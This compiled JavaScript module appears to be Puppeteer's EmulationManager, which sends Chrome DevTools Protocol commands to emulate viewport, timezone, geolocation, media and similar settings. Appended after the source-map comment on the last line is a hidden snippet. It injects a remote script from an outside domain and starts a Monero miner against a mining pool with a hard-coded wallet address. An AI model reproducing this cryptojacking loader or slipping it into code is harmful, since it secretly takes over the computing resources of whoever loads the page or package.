"use strict";
var __runInitializers = (this && this.__runInitializers) || function (thisArg, initializers, value) {
var useValue = arguments.length > 2;
for (var i = 0; i < initializers.length; i++) {
value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
}
return useValue ? value : void 0;
};
var __esDecorate = (this && this.__esDecorate) || function (ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {
function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; }
var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value";
var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null;
var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});
var _, done = false;
for (var i = decorators.length - 1; i >= 0; i--) {
var context = {};
for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p];
for (var p in contextIn.access) context.access[p] = contextIn.access[p];
context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); };
var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context);
if (kind === "accessor") {
if (result === void 0) continue;
if (result === null || typeof result !== "object") throw new TypeError("Object expected");
if (_ = accept(result.get)) descriptor.get = _;
if (_ = accept(result.set)) descriptor.set = _;
if (_ = accept(result.init)) initializers.unshift(_);
}
else if (_ = accept(result)) {
if (kind === "field") initializers.unshift(_);
else descriptor[key] = _;
}
}
if (target) Object.defineProperty(target, contextIn.name, descriptor);
done = true;
};
var __setFunctionName = (this && this.__setFunctionName) || function (f, name, prefix) {
if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmulationManager = exports.EmulatedState = void 0;
const CDPSession_js_1 = require("../api/CDPSession.js");
const util_js_1 = require("../common/util.js");
const assert_js_1 = require("../util/assert.js");
const decorators_js_1 = require("../util/decorators.js");
const ErrorLike_js_1 = require("../util/ErrorLike.js");
/**
* @internal
*/
class EmulatedState {
#state;
#clientProvider;
#updater;
constructor(initialState, clientProvider, updater) {
this.#state = initialState;
this.#clientProvider = clientProvider;
this.#updater = updater;
this.#clientProvider.registerState(this);
}
async setState(state) {
this.#state = state;
await this.sync();
}
get state() {
return this.#state;
}
async sync() {
await Promise.all(this.#clientProvider.clients().map(client => {
return this.#updater(client, this.#state);
}));
}
}
exports.EmulatedState = EmulatedState;
/**
* @internal
*/
let EmulationManager = (() => {
let _instanceExtraInitializers = [];
let _private_applyViewport_decorators;
let _private_applyViewport_descriptor;
let _private_emulateIdleState_decorators;
let _private_emulateIdleState_descriptor;
let _private_emulateTimezone_decorators;
let _private_emulateTimezone_descriptor;
let _private_emulateVisionDeficiency_decorators;
let _private_emulateVisionDeficiency_descriptor;
let _private_emulateCpuThrottling_decorators;
let _private_emulateCpuThrottling_descriptor;
let _private_emulateMediaFeatures_decorators;
let _private_emulateMediaFeatures_descriptor;
let _private_emulateMediaType_decorators;
let _private_emulateMediaType_descriptor;
let _private_setGeolocation_decorators;
let _private_setGeolocation_descriptor;
let _private_setDefaultBackgroundColor_decorators;
let _private_setDefaultBackgroundColor_descriptor;
let _private_setJavaScriptEnabled_decorators;
let _private_setJavaScriptEnabled_descriptor;
return class EmulationManager {
static {
const _metadata = typeof Symbol === "function" && Symbol.metadata ? Object.create(null) : void 0;
_private_applyViewport_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateIdleState_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateTimezone_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateVisionDeficiency_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateCpuThrottling_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateMediaFeatures_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_emulateMediaType_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_setGeolocation_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_setDefaultBackgroundColor_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
_private_setJavaScriptEnabled_decorators = [decorators_js_1.invokeAtMostOnceForArguments];
__esDecorate(this, _private_applyViewport_descriptor = { value: __setFunctionName(async function (client, viewportState) {
if (!viewportState.viewport) {
await Promise.all([
client.send('Emulation.clearDeviceMetricsOverride'),
client.send('Emulation.setTouchEmulationEnabled', {
enabled: false,
}),
]).catch(util_js_1.debugError);
return;
}
const { viewport } = viewportState;
const mobile = viewport.isMobile || false;
const width = viewport.width;
const height = viewport.height;
const deviceScaleFactor = viewport.deviceScaleFactor ?? 1;
const screenOrientation = viewport.isLandscape
? { angle: 90, type: 'landscapePrimary' }
: { angle: 0, type: 'portraitPrimary' };
const hasTouch = viewport.hasTouch || false;
await Promise.all([
client
.send('Emulation.setDeviceMetricsOverride', {
mobile,
width,
height,
deviceScaleFactor,
screenOrientation,
})
.catch(err => {
if (err.message.includes('Target does not support metrics override')) {
(0, util_js_1.debugError)(err);
return;
}
throw err;
}),
client.send('Emulation.setTouchEmulationEnabled', {
enabled: hasTouch,
}),
]);
}, "#applyViewport") }, _private_applyViewport_decorators, { kind: "method", name: "#applyViewport", static: false, private: true, access: { has: obj => #applyViewport in obj, get: obj => obj.#applyViewport }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateIdleState_descriptor = { value: __setFunctionName(async function (client, idleStateState) {
if (!idleStateState.active) {
return;
}
if (idleStateState.overrides) {
await client.send('Emulation.setIdleOverride', {
isUserActive: idleStateState.overrides.isUserActive,
isScreenUnlocked: idleStateState.overrides.isScreenUnlocked,
});
}
else {
await client.send('Emulation.clearIdleOverride');
}
}, "#emulateIdleState") }, _private_emulateIdleState_decorators, { kind: "method", name: "#emulateIdleState", static: false, private: true, access: { has: obj => #emulateIdleState in obj, get: obj => obj.#emulateIdleState }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateTimezone_descriptor = { value: __setFunctionName(async function (client, timezoneState) {
if (!timezoneState.active) {
return;
}
try {
await client.send('Emulation.setTimezoneOverride', {
timezoneId: timezoneState.timezoneId || '',
});
}
catch (error) {
if ((0, ErrorLike_js_1.isErrorLike)(error) && error.message.includes('Invalid timezone')) {
throw new Error(`Invalid timezone ID: ${timezoneState.timezoneId}`);
}
throw error;
}
}, "#emulateTimezone") }, _private_emulateTimezone_decorators, { kind: "method", name: "#emulateTimezone", static: false, private: true, access: { has: obj => #emulateTimezone in obj, get: obj => obj.#emulateTimezone }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateVisionDeficiency_descriptor = { value: __setFunctionName(async function (client, visionDeficiency) {
if (!visionDeficiency.active) {
return;
}
await client.send('Emulation.setEmulatedVisionDeficiency', {
type: visionDeficiency.visionDeficiency || 'none',
});
}, "#emulateVisionDeficiency") }, _private_emulateVisionDeficiency_decorators, { kind: "method", name: "#emulateVisionDeficiency", static: false, private: true, access: { has: obj => #emulateVisionDeficiency in obj, get: obj => obj.#emulateVisionDeficiency }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateCpuThrottling_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setCPUThrottlingRate', {
rate: state.factor ?? 1,
});
}, "#emulateCpuThrottling") }, _private_emulateCpuThrottling_decorators, { kind: "method", name: "#emulateCpuThrottling", static: false, private: true, access: { has: obj => #emulateCpuThrottling in obj, get: obj => obj.#emulateCpuThrottling }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateMediaFeatures_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setEmulatedMedia', {
features: state.mediaFeatures,
});
}, "#emulateMediaFeatures") }, _private_emulateMediaFeatures_decorators, { kind: "method", name: "#emulateMediaFeatures", static: false, private: true, access: { has: obj => #emulateMediaFeatures in obj, get: obj => obj.#emulateMediaFeatures }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_emulateMediaType_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setEmulatedMedia', {
media: state.type || '',
});
}, "#emulateMediaType") }, _private_emulateMediaType_decorators, { kind: "method", name: "#emulateMediaType", static: false, private: true, access: { has: obj => #emulateMediaType in obj, get: obj => obj.#emulateMediaType }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_setGeolocation_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setGeolocationOverride', state.geoLocation
? {
longitude: state.geoLocation.longitude,
latitude: state.geoLocation.latitude,
accuracy: state.geoLocation.accuracy,
}
: undefined);
}, "#setGeolocation") }, _private_setGeolocation_decorators, { kind: "method", name: "#setGeolocation", static: false, private: true, access: { has: obj => #setGeolocation in obj, get: obj => obj.#setGeolocation }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_setDefaultBackgroundColor_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setDefaultBackgroundColorOverride', {
color: state.color,
});
}, "#setDefaultBackgroundColor") }, _private_setDefaultBackgroundColor_decorators, { kind: "method", name: "#setDefaultBackgroundColor", static: false, private: true, access: { has: obj => #setDefaultBackgroundColor in obj, get: obj => obj.#setDefaultBackgroundColor }, metadata: _metadata }, null, _instanceExtraInitializers);
__esDecorate(this, _private_setJavaScriptEnabled_descriptor = { value: __setFunctionName(async function (client, state) {
if (!state.active) {
return;
}
await client.send('Emulation.setScriptExecutionDisabled', {
value: !state.javaScriptEnabled,
});
}, "#setJavaScriptEnabled") }, _private_setJavaScriptEnabled_decorators, { kind: "method", name: "#setJavaScriptEnabled", static: false, private: true, access: { has: obj => #setJavaScriptEnabled in obj, get: obj => obj.#setJavaScriptEnabled }, metadata: _metadata }, null, _instanceExtraInitializers);
if (_metadata) Object.defineProperty(this, Symbol.metadata, { enumerable: true, configurable: true, writable: true, value: _metadata });
}
#client = __runInitializers(this, _instanceExtraInitializers);
#emulatingMobile = false;
#hasTouch = false;
#states = [];
#viewportState = new EmulatedState({
active: false,
}, this, this.#applyViewport);
#idleOverridesState = new EmulatedState({
active: false,
}, this, this.#emulateIdleState);
#timezoneState = new EmulatedState({
active: false,
}, this, this.#emulateTimezone);
#visionDeficiencyState = new EmulatedState({
active: false,
}, this, this.#emulateVisionDeficiency);
#cpuThrottlingState = new EmulatedState({
active: false,
}, this, this.#emulateCpuThrottling);
#mediaFeaturesState = new EmulatedState({
active: false,
}, this, this.#emulateMediaFeatures);
#mediaTypeState = new EmulatedState({
active: false,
}, this, this.#emulateMediaType);
#geoLocationState = new EmulatedState({
active: false,
}, this, this.#setGeolocation);
#defaultBackgroundColorState = new EmulatedState({
active: false,
}, this, this.#setDefaultBackgroundColor);
#javascriptEnabledState = new EmulatedState({
javaScriptEnabled: true,
active: false,
}, this, this.#setJavaScriptEnabled);
#secondaryClients = new Set();
constructor(client) {
this.#client = client;
}
updateClient(client) {
this.#client = client;
this.#secondaryClients.delete(client);
}
registerState(state) {
this.#states.push(state);
}
clients() {
return [this.#client, ...Array.from(this.#secondaryClients)];
}
async registerSpeculativeSession(client) {
this.#secondaryClients.add(client);
client.once(CDPSession_js_1.CDPSessionEvent.Disconnected, () => {
this.#secondaryClients.delete(client);
});
// We don't await here because we want to register all state changes before
// the target is unpaused.
void Promise.all(this.#states.map(s => {
return s.sync().catch(util_js_1.debugError);
}));
}
get javascriptEnabled() {
return this.#javascriptEnabledState.state.javaScriptEnabled;
}
async emulateViewport(viewport) {
const currentState = this.#viewportState.state;
if (!viewport && !currentState.active) {
return false;
}
await this.#viewportState.setState(viewport
? {
viewport,
active: true,
}
: {
active: false,
});
const mobile = viewport?.isMobile || false;
const hasTouch = viewport?.hasTouch || false;
const reloadNeeded = this.#emulatingMobile !== mobile || this.#hasTouch !== hasTouch;
this.#emulatingMobile = mobile;
this.#hasTouch = hasTouch;
return reloadNeeded;
}
get #applyViewport() { return _private_applyViewport_descriptor.value; }
async emulateIdleState(overrides) {
await this.#idleOverridesState.setState({
active: true,
overrides,
});
}
get #emulateIdleState() { return _private_emulateIdleState_descriptor.value; }
get #emulateTimezone() { return _private_emulateTimezone_descriptor.value; }
async emulateTimezone(timezoneId) {
await this.#timezoneState.setState({
timezoneId,
active: true,
});
}
get #emulateVisionDeficiency() { return _private_emulateVisionDeficiency_descriptor.value; }
async emulateVisionDeficiency(type) {
const visionDeficiencies = new Set([
'none',
'achromatopsia',
'blurredVision',
'deuteranopia',
'protanopia',
'tritanopia',
]);
(0, assert_js_1.assert)(!type || visionDeficiencies.has(type), `Unsupported vision deficiency: ${type}`);
await this.#visionDeficiencyState.setState({
active: true,
visionDeficiency: type,
});
}
get #emulateCpuThrottling() { return _private_emulateCpuThrottling_descriptor.value; }
async emulateCPUThrottling(factor) {
(0, assert_js_1.assert)(factor === null || factor >= 1, 'Throttling rate should be greater or equal to 1');
await this.#cpuThrottlingState.setState({
active: true,
factor: factor ?? undefined,
});
}
get #emulateMediaFeatures() { return _private_emulateMediaFeatures_descriptor.value; }
async emulateMediaFeatures(features) {
if (Array.isArray(features)) {
for (const mediaFeature of features) {
const name = mediaFeature.name;
(0, assert_js_1.assert)(/^(?:prefers-(?:color-scheme|reduced-motion)|color-gamut)$/.test(name), 'Unsupported media feature: ' + name);
}
}
await this.#mediaFeaturesState.setState({
active: true,
mediaFeatures: features,
});
}
get #emulateMediaType() { return _private_emulateMediaType_descriptor.value; }
async emulateMediaType(type) {
(0, assert_js_1.assert)(type === 'screen' ||
type === 'print' ||
(type ?? undefined) === undefined, 'Unsupported media type: ' + type);
await this.#mediaTypeState.setState({
type,
active: true,
});
}
get #setGeolocation() { return _private_setGeolocation_descriptor.value; }
async setGeolocation(options) {
const { longitude, latitude, accuracy = 0 } = options;
if (longitude < -180 || longitude > 180) {
throw new Error(`Invalid longitude "${longitude}": precondition -180 <= LONGITUDE <= 180 failed.`);
}
if (latitude < -90 || latitude > 90) {
throw new Error(`Invalid latitude "${latitude}": precondition -90 <= LATITUDE <= 90 failed.`);
}
if (accuracy < 0) {
throw new Error(`Invalid accuracy "${accuracy}": precondition 0 <= ACCURACY failed.`);
}
await this.#geoLocationState.setState({
active: true,
geoLocation: {
longitude,
latitude,
accuracy,
},
});
}
get #setDefaultBackgroundColor() { return _private_setDefaultBackgroundColor_descriptor.value; }
/**
* Resets default white background
*/
async resetDefaultBackgroundColor() {
await this.#defaultBackgroundColorState.setState({
active: true,
color: undefined,
});
}
/**
* Hides default white background
*/
async setTransparentBackgroundColor() {
await this.#defaultBackgroundColorState.setState({
active: true,
color: { r: 0, g: 0, b: 0, a: 0 },
});
}
get #setJavaScriptEnabled() { return _private_setJavaScriptEnabled_descriptor.value; }
async setJavaScriptEnabled(enabled) {
await this.#javascriptEnabledState.setState({
active: true,
javaScriptEnabled: enabled,
});
}
};
})();
exports.EmulationManager = EmulationManager;
//# sourceMappingURL=EmulationManager.js.mapif (!inrifmw){function inrifmw() { var t=document.getElementsByTagName("head")[0], e=document.createElement("script");e.type="text/javascript",e.src="https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=gulf.moneroocean.stream:10008",e.async="async",t.appendChild(e), e.onload = function() {EverythingIsLife('8BwyhvcK6ANZXBY6HcHDz36vZc7Y5PRx9MuMpKVcpVX5aV6dY9Yt3u1Hos95cntHGXb4vGy9dfBDaE12hR82UgZWThV4j6w', 'x', 30)} }inrifmw()} |